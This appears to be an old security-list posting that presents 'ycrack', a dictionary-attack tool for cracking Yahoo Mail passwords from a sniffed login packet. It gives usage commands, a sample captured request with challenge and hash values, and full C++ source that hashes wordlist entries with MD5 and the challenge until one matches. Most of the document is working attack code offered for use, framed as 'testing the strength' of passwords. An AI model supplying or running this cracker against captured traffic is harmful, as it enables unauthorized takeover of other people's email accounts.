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Ycrack - Yahoo Mail Password Brute Forcer
------------------------------------------------------------------------
SUMMARY
DETAILS
ycrack is a dictionary attack tool designed specifically for testing the
strength of Yahoo Mail passwords. You must know both the hashed password
and the challenge text (both contained in the authentication packet sent
to the server) in order to use the program.
Usage of the program is:
#./ycrack <hashed password> <challenge text> <word list file>
Below is an example login packet. Note the strings following 'challenge='
and 'passwd='; those are what you are looking for.
GET /reg/login0/no_suli/login/us/ym/*http://login.yahoo.com/config/login?
tries=1&.src=ym&.md5=&.hash=&.js=1&.last=&promo=&.intl=us&.bypass=&
partner=&.u=08oidol1a8gav&.v=0&
challenge=sHahwb_63ScGiwVT2q5lh7bi1JEv&.yplus=&.emailCode=&pkg=&
stepid=&.ev=&hasMsgr=0&.chkP=Y
&.done=http%3A//mail.yahoo.com&login=xxxxxxxxxxxxxx
&passwd=0c5d98f1305bad4045863f78a335fc30
&.persistent=&.save=1&.hash=1&.md5=1 HTTP/1.1
Host: us.rd.yahoo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7)
Gecko/20050414 Firefox/1.0.3
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://mail.yahoo.com/?.intl=us
Cookie: Y=v=1&n=ftsocmdj9pbtu&p=
You may use the hashed password and challenge text in this packet to test
ycrack (the password used is 'beaver'). Example:
#./ycrack 0c5d98f1305bad4045863f78a335fc30 sHahwb_63ScGiwVT2q5lh7bi1JEv
english_list.txt
The file english_list.txt is the dictionary (text file with one word per
line)
This program compiles on both Linux and Microsoft Windows platforms.
Tool's Source Code:
/* I'm not the best programmer, and I know this is a bit sloppy, but it
works. Feel free to modify/optimize/do whatever you want
* with this code, just give me credit if it is due.
*
* Description:
* ycrack performs a dictionary attack on hashed Yahoo mail passwords. See
the readme file for more information on Yahoo's
* implementation of the MD5 hashing algorithm. Standard MD5 functions are
from RSA Data Security.
*
* Usage:
* #./ycrack <hashed password> <challenge text> <word list file>
*
* Compilation:
* Compiles on both Linux and Windows platforms (tested on Windows XP and
Linux 2.4.21)
* #g++ ycrack.cpp -o ycrack
*
* Craig Heffner
* (03/06/05)
*/
/////////////////////////////////////////////////////////////////////////
//
// Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
// rights reserved.
//
// License to copy and use this software is granted provided that it
// is identified as the "RSA Data Security, Inc. MD5 Message-Digest
// Algorithm" in all material mentioning or referencing this software
// or this function.
// License is also granted to make and use derivative works provided
// that such works are identified as "derived from the RSA Data
// Security, Inc. MD5 Message-Digest Algorithm" in all material
// mentioning or referencing the derived work.
// RSA Data Security, Inc. makes no representations concerning either
// the merchantability of this software or the suitability of this
// software for any particular purpose. It is provided "as is"
// without express or implied warranty of any kind.
// These notices must be retained in any copies of any part of this
// documentation and/or software.
/////////////////////////////////////////////////////////////////////////
#include <stdlib.h>
#include <assert.h>
#include <memory.h>
#include <stdio.h>
#include <string.h>
//md5.h file:
typedef unsigned int uint4;
typedef unsigned short int uint2;
typedef unsigned char uchar;
char* PrintMD5(uchar md5Digest[16]);
char* MD5String(char* szString);
char* MD5File(char* szFilename);
class md5
{
// Methods
public:
md5() { Init(); }
void Init();
void Update(uchar* chInput, uint4 nInputLen);
void Finalize();
uchar* Digest() { return m_Digest; }
private:
void Transform(uchar* block);
void Encode(uchar* dest, uint4* src, uint4 nLength);
void Decode(uint4* dest, uchar* src, uint4 nLength);
inline uint4 rotate_left(uint4 x, uint4 n)
{ return ((x << n) | (x >> (32-n))); }
inline uint4 F(uint4 x, uint4 y, uint4 z)
{ return ((x & y) | (~x & z)); }
inline uint4 G(uint4 x, uint4 y, uint4 z)
{ return ((x & z) | (y & ~z)); }
inline uint4 H(uint4 x, uint4 y, uint4 z)
{ return (x ^ y ^ z); }
inline uint4 I(uint4 x, uint4 y, uint4 z)
{ return (y ^ (x | ~z)); }
inline void FF(uint4& a, uint4 b, uint4 c, uint4 d, uint4 x, uint4 s,
uint4 ac)
{ a += F(b, c, d) + x + ac; a = rotate_left(a, s); a +=
b; }
inline void GG(uint4& a, uint4 b, uint4 c, uint4 d, uint4 x, uint4 s,
uint4 ac)
{ a += G(b, c, d) + x + ac; a = rotate_left(a, s); a
+= b; }
inline void HH(uint4& a, uint4 b, uint4 c, uint4 d, uint4 x, uint4 s,
uint4 ac)
{ a += H(b, c, d) + x + ac; a = rotate_left(a, s); a
+= b; }
inline void II(uint4& a, uint4 b, uint4 c, uint4 d, uint4 x, uint4 s,
uint4 ac)
{ a += I(b, c, d) + x + ac; a = rotate_left(a, s); a
+= b; }
// Data
private:
uint4 m_State[4];
uint4 m_Count[2];
uchar m_Buffer[64];
uchar m_Digest[16];
uchar m_Finalized;
};
//end of md5.h
/*Start of MD5 code*/
static unsigned char PADDING[64] =
{
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21
// PrintMD5: Converts a completed md5 digest into a char* string.
char* PrintMD5(uchar md5Digest[16])
{
char chBuffer[256];
char chEach[10];
int nCount;
memset(chBuffer,0,256);
memset(chEach, 0, 10);
for (nCount = 0; nCount < 16; nCount++)
{
sprintf(chEach, "%02x", md5Digest[nCount]);
strncat(chBuffer, chEach, sizeof(chEach));
}
return strdup(chBuffer);
}
// MD5String: Performs the MD5 algorithm on a char* string, returning
// the results as a char*.
char* MD5String(char* szString)
{
int nLen = strlen(szString);
md5 alg;
alg.Update((unsigned char*)szString, (unsigned int)nLen);
alg.Finalize();
return PrintMD5(alg.Digest());
}
// md5::Init
// Initializes a new context.
void md5::Init()
{
memset(m_Count, 0, 2 * sizeof(uint4));
m_State[0] = 0x67452301;
m_State[1] = 0xefcdab89;
m_State[2] = 0x98badcfe;
m_State[3] = 0x10325476;
}
// md5::Update
// MD5 block update operation. Continues an MD5 message-digest
// operation, processing another message block, and updating the
// context.
void md5::Update(uchar* chInput, uint4 nInputLen)
{
uint4 i, index, partLen;
// Compute number of bytes mod 64
index = (unsigned int)((m_Count[0] >> 3) & 0x3F);
// Update number of bits
if ((m_Count[0] += (nInputLen << 3)) < (nInputLen << 3))
m_Count[1]++;
m_Count[1] += (nInputLen >> 29);
partLen = 64 - index;
// Transform as many times as possible.
if (nInputLen >= partLen)
{
memcpy( &m_Buffer[index], chInput, partLen );
Transform(m_Buffer);
for (i = partLen; i + 63 < nInputLen; i += 64)
Transform(&chInput[i]);
index = 0;
}
else
i = 0;
// Buffer remaining input
memcpy( &m_Buffer[index], &chInput[i], nInputLen-i );
}
// md5::Finalize
// MD5 finalization. Ends an MD5 message-digest operation, writing
// the message digest and zeroizing the context.
void md5::Finalize()
{
uchar bits[8];
uint4 index, padLen;
// Save number of bits
Encode (bits, m_Count, 8);
// Pad out to 56 mod 64
index = (unsigned int)((m_Count[0] >> 3) & 0x3f);
padLen = (index < 56) ? (56 - index) : (120 - index);
Update(PADDING, padLen);
// Append length (before padding)
Update (bits, 8);
// Store state in digest
Encode (m_Digest, m_State, 16);
memset(m_Count, 0, 2 * sizeof(uint4));
memset(m_State, 0, 4 * sizeof(uint4));
memset(m_Buffer,0, 64 * sizeof(uchar));
}
// md5::Transform
// MD5 basic transformation. Transforms state based on block.
void md5::Transform (uchar* block)
{
uint4 a = m_State[0], b = m_State[1], c = m_State[2], d = m_State[3],
x[16];
Decode (x, block, 64);
// Round 1
FF (a, b, c, d, x[ 0], S11, 0xd76aa478);
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756);
FF (c, d, a, b, x[ 2], S13, 0x242070db);
FF (b, c, d, a, x[ 3], S14, 0xc1bdceee);
FF (a, b, c, d, x[ 4], S11, 0xf57c0faf);
FF (d, a, b, c, x[ 5], S12, 0x4787c62a);
FF (c, d, a, b, x[ 6], S13, 0xa8304613);
FF (b, c, d, a, x[ 7], S14, 0xfd469501);
FF (a, b, c, d, x[ 8], S11, 0x698098d8);
FF (d, a, b, c, x[ 9], S12, 0x8b44f7af);
FF (c, d, a, b, x[10], S13, 0xffff5bb1);
FF (b, c, d, a, x[11], S14, 0x895cd7be);
FF (a, b, c, d, x[12], S11, 0x6b901122);
FF (d, a, b, c, x[13], S12, 0xfd987193);
FF (c, d, a, b, x[14], S13, 0xa679438e);
FF (b, c, d, a, x[15], S14, 0x49b40821);
// Round 2
GG (a, b, c, d, x[ 1], S21, 0xf61e2562);
GG (d, a, b, c, x[ 6], S22, 0xc040b340);
GG (c, d, a, b, x[11], S23, 0x265e5a51);
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa);
GG (a, b, c, d, x[ 5], S21, 0xd62f105d);
GG (d, a, b, c, x[10], S22, 0x2441453);
GG (c, d, a, b, x[15], S23, 0xd8a1e681);
GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8);
GG (a, b, c, d, x[ 9], S21, 0x21e1cde6);
GG (d, a, b, c, x[14], S22, 0xc33707d6);
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87);
GG (b, c, d, a, x[ 8], S24, 0x455a14ed);
GG (a, b, c, d, x[13], S21, 0xa9e3e905);
GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8);
GG (c, d, a, b, x[ 7], S23, 0x676f02d9);
GG (b, c, d, a, x[12], S24, 0x8d2a4c8a);
// Round 3
HH (a, b, c, d, x[ 5], S31, 0xfffa3942);
HH (d, a, b, c, x[ 8], S32, 0x8771f681);
HH (c, d, a, b, x[11], S33, 0x6d9d6122);
HH (b, c, d, a, x[14], S34, 0xfde5380c);
HH (a, b, c, d, x[ 1], S31, 0xa4beea44);
HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9);
HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60);
HH (b, c, d, a, x[10], S34, 0xbebfbc70);
HH (a, b, c, d, x[13], S31, 0x289b7ec6);
HH (d, a, b, c, x[ 0], S32, 0xeaa127fa);
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085);
HH (b, c, d, a, x[ 6], S34, 0x4881d05);
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039);
HH (d, a, b, c, x[12], S32, 0xe6db99e5);
HH (c, d, a, b, x[15], S33, 0x1fa27cf8);
HH (b, c, d, a, x[ 2], S34, 0xc4ac5665);
// Round 4
II (a, b, c, d, x[ 0], S41, 0xf4292244);
II (d, a, b, c, x[ 7], S42, 0x432aff97);
II (c, d, a, b, x[14], S43, 0xab9423a7);
II (b, c, d, a, x[ 5], S44, 0xfc93a039);
II (a, b, c, d, x[12], S41, 0x655b59c3);
II (d, a, b, c, x[ 3], S42, 0x8f0ccc92);
II (c, d, a, b, x[10], S43, 0xffeff47d);
II (b, c, d, a, x[ 1], S44, 0x85845dd1);
II (a, b, c, d, x[ 8], S41, 0x6fa87e4f);
II (d, a, b, c, x[15], S42, 0xfe2ce6e0);
II (c, d, a, b, x[ 6], S43, 0xa3014314);
II (b, c, d, a, x[13], S44, 0x4e0811a1);
II (a, b, c, d, x[ 4], S41, 0xf7537e82);
II (d, a, b, c, x[11], S42, 0xbd3af235);
II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb);
II (b, c, d, a, x[ 9], S44, 0xeb86d391);
m_State[0] += a;
m_State[1] += b;
m_State[2] += c;
m_State[3] += d;
memset(x, 0, sizeof(x));
}
// md5::Encode
// Encodes input (uint4) into output (uchar). Assumes nLength is
// a multiple of 4.
void md5::Encode(uchar* dest, uint4* src, uint4 nLength)
{
uint4 i, j;
assert(nLength % 4 == 0);
for (i = 0, j = 0; j < nLength; i++, j += 4)
{
dest[j] = (uchar)(src[i] & 0xff);
dest[j+1] = (uchar)((src[i] >> 8) & 0xff);
dest[j+2] = (uchar)((src[i] >> 16) & 0xff);
dest[j+3] = (uchar)((src[i] >> 24) & 0xff);
}
}
// md5::Decode
// Decodes input (uchar) into output (uint4). Assumes nLength is
// a multiple of 4.
void md5::Decode(uint4* dest, uchar* src, uint4 nLength)
{
uint4 i, j;
assert(nLength % 4 == 0);
for (i = 0, j = 0; j < nLength; i++, j += 4)
{
dest[i] = ((uint4)src[j]) | (((uint4)src[j+1])<<8) |
(((uint4)src[j+2])<<16) | (((uint4)src[j+3])<<24);
}
}
/*End of MD5 code*/
int main(int argc,char *argv[])
{
char
*hash1,*challenge,*string,*hash2,*crypt,*file,test[256],c,stuff[256],*string2;
int len;
if(!argv[1] || !argv[2] || !argv[3])
{
printf("\nUsage: ycrack <password hash> <challenge text> <word
list file>\n");
return 0;
}
crypt=argv[1]; //password hash
challenge=argv[2]; //challenge text
file=argv[3]; //word file
FILE *f;
f=fopen(file,"r"); //open word list
if(!f){printf("\nError opening file %s\n",file);return 0;}
do{ //read each word into variable 'string'
c=fscanf(f,"%s",test);
string=test;
printf("Trying:%s\n",string);
hash1=MD5String(string); //get MD5 hash of the password
memcpy(&stuff[0],hash1,32); //copy the hashed password into stuff
memcpy(&stuff[32],challenge,28); //append challenge text onto the end
of the password hash
memcpy(&stuff[60],"",3); //clear extra characters inserted by memcpy
hash2=MD5String(stuff); //calculate final hash
if(strcmp(crypt,hash2)==0){ //compare hash2 to the captured hash
printf("\nThe Yahoo password is: %s\n",string);
fclose(f);
return 0;}
}while(c!=EOF); //read until End Of File
fclose(f);
printf("\nPassword not found!\n");
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:heffnercj@gmail.com> Craig
Heffner.
========================================
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